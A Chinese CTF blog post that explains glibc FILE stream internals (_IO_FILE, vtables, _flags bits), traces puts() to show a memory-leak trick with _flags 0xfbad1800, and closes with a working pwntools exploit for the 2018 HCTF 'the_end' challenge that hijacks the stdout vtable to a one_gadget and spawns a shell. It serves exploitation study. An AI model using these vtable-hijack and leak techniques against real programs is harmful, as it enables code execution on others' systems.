Featured image of post 初识IO

初识IO

https://www.cnblogs.com/mazhatter/p/18475598

IO_FILE简介

程序进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构,大致的链表结构如下图:

1

图中三个FILE是程序自动打开的三个文件流 一般位于libc段

后续用户打开文件一般位于heap段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

最终描述文件流文件的数据结构是_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

其中有_IO_FILE结构体和_IO_jump_t类型的指针vtable,虚表,即各种操作函数的指针。

_IO_FILE结构体如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_jump_t结构体如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

_flags规则

先简介一下_flag的规则,_flag的高两位字节是由libc固定的,不同的libc可能存在差异,但是基本上都为0xfbad0000。高两位字节其实就是作为一个标识,标志这是一个什么文件。而低两位字节的位数规则决定了程序的执行状态,低两位的规则如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

在执行流程中会将_flag和定义常量进行按位与运算,并根据与运算的结构进行判断如何执行。

puts()函数执行流程及泄露信息方式

省流

1
2
3
_IO_puts -->> _IO_new_file_xsputn -->> _IO_OVERFLOW
-->> _IO_do_write(_IO_new_do_write) -->> _new_do_write
-->> _IO_SYSWRITE 

_IO_LINE_BUF=0

_IO_NO_WRITES=0

_IO_CURRENTLY_PUTTING=0

_IO_IS_APPENDING=0

_IO_write_end<=_IO_write_ptr(一般情况下他俩相等,不需要管这个条件)

这时puts输出的就是_IO_write_base->_IO_write_ptr之间的内容

满足这个前四个条件的_flags=0xfbad1800

_IO_puts –> _IO_new_file_xsputn

puts函数在源码里称为_IO_puts

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);

  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len//调用了__IO_sputn
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (stdout);
  return result;
}

_IO_sputn其实是一个宏,会调用_IO_new_file_xsputn函数

_IO_new_file_xsputn –> _IO_OVERFLOW

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
    const char *s = (const char *) data;
    size_t to_do = n;
    int must_flush = 0;
    size_t count = 0;

    if (n <= 0)
        return 0;
    /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

    /* First figure out how much space is available in the buffer. */
    if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
        count = f->_IO_buf_end - f->_IO_write_ptr;
        if (count >= n)
        {
            const char *p;
            for (p = s + n; p > s; )
            {
                if (*--p == '\n')
                {
                    count = p - s + 1;
                    must_flush = 1;
                    break;
                }
            }
        }
    }
    else if (f->_IO_write_end > f->_IO_write_ptr)
        count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

    /* Then fill the buffer. */
    if (count > 0)
    {
        if (count > to_do)
            count = to_do;
        f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
        s += count;
        to_do -= count;
    }
    if (to_do + must_flush > 0)
    {
        size_t block_size, do_write;
        /* Next flush the (full) buffer. */
        if (_IO_OVERFLOW (f, EOF) == EOF)
            /* If nothing else has to be written we must not signal the
	   caller that everything has been written.  */
            return to_do == 0 ? EOF : n - to_do;

        /* Try to maintain alignment: write a whole number of blocks.  */
        block_size = f->_IO_buf_end - f->_IO_buf_base;
        do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

        if (do_write)
        {
            count = new_do_write (f, s, do_write);
            to_do -= count;
            if (count < do_write)
                return n - to_do;
        }

        /* Now write out the remainder.  Normally, this will fit in the
	 buffer, but it's somewhat messier for line-buffered files,
	 so we let _IO_default_xsputn handle the general case. */
        if (to_do)
            to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
    return n - to_do;
}

这里我们需要进入_IO_OVERFLOW函数满足下一步ch==EOF的要求,将

_IO_LINE_BUF设为0

并满足_IO_write_end<=_IO_write_ptr

来绕过前面面的if分支

_IO_new_file_overflow –> _IO_do_write

调用 __overflow其实是去调用 _IO_new_file_overflow,位置在:glibc/libio/fileops.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_new_file_overflow (FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
	{
	  _IO_doallocbuf (f);
	  _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	}
      /* Otherwise must be currently reading.
	 If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
	 logically slide the buffer forwards one block (by setting the
	 read pointers to all point at the beginning of the block).  This
	 makes room for subsequent output.
	 Otherwise, set the read pointers to _IO_read_end (leaving that
	 alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
	{
	  size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
	  _IO_free_backup_area (f);
	  f->_IO_read_base -= MIN (nbackup,
				   f->_IO_read_base - f->_IO_buf_base);
	  f->_IO_read_ptr = f->_IO_read_base;
	}

      if (f->_IO_read_ptr == f->_IO_buf_end)
	f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
      f->_IO_write_ptr = f->_IO_read_ptr;
      f->_IO_write_base = f->_IO_write_ptr;
      f->_IO_write_end = f->_IO_buf_end;
      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

      f->_flags |= _IO_CURRENTLY_PUTTING;
      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
	f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)//这里进入下一步
    return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
		      f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}
1
2
 if (ch == EOF)//这里进入下一步
    return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);

ch==EOF时会调用_IO_do_write,输出_IO_write_ptr到_IO_write_base之间的值,为了通过前面的if判断 我们需要将

_flags & _IO_NO_WRITES==0

_flags & _IO_CURRENTLY_PUTTING==1

_IO_new_do_write –> _new_do_write

1
2
3
4
5
6
int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
	  || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}

new_do_write –> _IO_SYSWRITE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

这个里elseif分支调用的是_IO_SYSSEEK,所以我们需要将_flags & _IO_IS_APPENDING设为1防止进入该分支

劫持vtable控制程序执行流

vtable是IO_jump_t类型的指针,IO_jump_t中保存了一些函数指针,一些标准IO函数会调用这些函数指针

利用方法有两种

1直接任意地址写修改vtable中的函数指针(2.23不可写)

2将vtable指向可控内存并在其中布置函数指针

2018 HCTF the_end

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h] BYREF

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

给了一个libc地址然后可以任意地址写五字节

exit函数会调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数

可以用两个字节劫持vtable为一个合适的地址(fake_vtable),三个字节修改fake_vtable+0x58处为one_gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
context(log_level='debug',arch='amd64')
p=process('the_end')
gdb.attach(p,'b *$rebase(0x964)')
p.recvuntil(b'0x')
libcbase=int(p.recv(12),16)-0xcc2b0
print(hex(libcbase))
setbuf=libcbase+0x3c3738
fake_vtable=libcbase+0x3c5650
target=fake_vtable+0x58
vtable=libcbase+0x3C56F8
one=[0x4527a,0xf03a4,0xf1247]
ogg=libcbase+one[2]
for i in range(2):
    p.send(p64(vtable+i))
    p.send(bytes([p64(fake_vtable)[i]]))
for i in range(3):
    p.send(p64(target+i))
    p.send(bytes([p64(ogg)[i]]))
print(hex(target))
print(hex(ogg))
p.sendline("exec /bin/sh 1>&0")#重定向文件流1为0
p.interactive()
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计